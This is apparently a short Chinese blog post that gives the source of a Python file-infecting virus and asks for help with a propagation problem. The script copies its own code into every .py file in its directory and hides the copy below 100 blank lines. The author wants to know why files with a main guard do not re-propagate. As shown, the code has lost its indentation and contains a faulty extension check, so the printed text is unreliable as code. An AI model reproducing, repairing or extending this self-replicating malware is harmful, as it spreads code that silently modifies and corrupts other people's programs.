代码如下
#python infector
import os
def infect(filename,top_distance,self_length,blank_line=100):
infector = ''
self_check_string = 'def infect(filename,top_distance,self_length,blank_line=100):\n'
with open(filename,'r',encoding='utf-8') as target:
target_string = target.read()
with open(__file__,'r',encoding='utf-8') as self_file:
self_file_list = self_file.readlines()
if self_check_string in target_string:
pass
else:
linenumber = self_file_list.index(self_check_string) - top_distance
for line in self_file_list[linenumber:linenumber + self_length]:
infector += line
with open(filename,'a') as target:
target.write('\n' * blank_line + infector)
path = os.path.dirname(os.path.abspath(__file__))
filelist = os.listdir(path)
for i in filelist:
if os.path.splitext(i)[1] == ('.py' or '.pyw'):
infect(i,3,24)
但目前有一个问题,有如下代码的文件无法二次复制:
if __name__ == '__main__':
......
本文介绍了一个用Python编写的文件感染脚本,该脚本能将自身代码注入到同一目录下的.py或.pyw文件中,实现代码的自我复制。但存在无法对带有特定代码的文件进行二次复制的问题。
607

被折叠的 条评论
为什么被折叠?



